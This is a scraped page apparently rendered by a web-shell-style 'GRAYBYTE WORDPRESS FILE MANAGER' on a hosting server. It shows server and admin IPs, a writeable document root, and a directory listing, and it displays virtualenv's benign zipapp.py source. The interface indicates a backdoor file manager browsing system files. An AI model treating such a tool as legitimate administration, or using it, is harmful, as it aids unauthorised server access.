$54 GRAYBYTE WORDPRESS FILE MANAGER $65

SERVER : vnpttt-amd7f72-h1.vietnix.vn #1 SMP Fri May 24 12:42:50 UTC 2024
SERVER IP : 103.200.23.149 | ADMIN IP 216.73.216.22
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : NONE

/opt/alt/python37/lib/python3.7/site-packages/virtualenv/util/

HOME
Current File : /opt/alt/python37/lib/python3.7/site-packages/virtualenv/util//zipapp.py
from __future__ import absolute_import, unicode_literals

import logging
import os
import zipfile

from virtualenv.info import IS_WIN, ROOT
from virtualenv.util.six import ensure_text


def read(full_path):
    sub_file = _get_path_within_zip(full_path)
    with zipfile.ZipFile(ROOT, "r") as zip_file:
        with zip_file.open(sub_file) as file_handler:
            return file_handler.read().decode("utf-8")


def extract(full_path, dest):
    logging.debug("extract %s to %s", full_path, dest)
    sub_file = _get_path_within_zip(full_path)
    with zipfile.ZipFile(ROOT, "r") as zip_file:
        info = zip_file.getinfo(sub_file)
        info.filename = dest.name
        zip_file.extract(info, ensure_text(str(dest.parent)))


def _get_path_within_zip(full_path):
    full_path = os.path.abspath(str(full_path))
    sub_file = full_path[len(ROOT) + 1 :]
    if IS_WIN:
        # paths are always UNIX separators, even on Windows, though __file__ still follows platform default
        sub_file = sub_file.replace(os.sep, "/")
    return sub_file

Current_dir [ NOT WRITEABLE ] Document_root [ WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
31 Aug 2024 3.40 AM
root / root
0755
__pycache__
--
31 Aug 2024 3.40 AM
root / root
0755
path
--
31 Aug 2024 3.40 AM
root / root
0755
subprocess
--
31 Aug 2024 3.40 AM
root / root
0755
__init__.py
0.194 KB
2 Jan 2022 10.54 PM
root / root
0644
error.py
0.344 KB
2 Jan 2022 10.54 PM
root / root
0644
lock.py
4.675 KB
2 Jan 2022 10.54 PM
root / root
0644
six.py
1.429 KB
2 Jan 2022 10.54 PM
root / root
0644
zipapp.py
1.029 KB
2 Jan 2022 10.54 PM
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME
Static GIF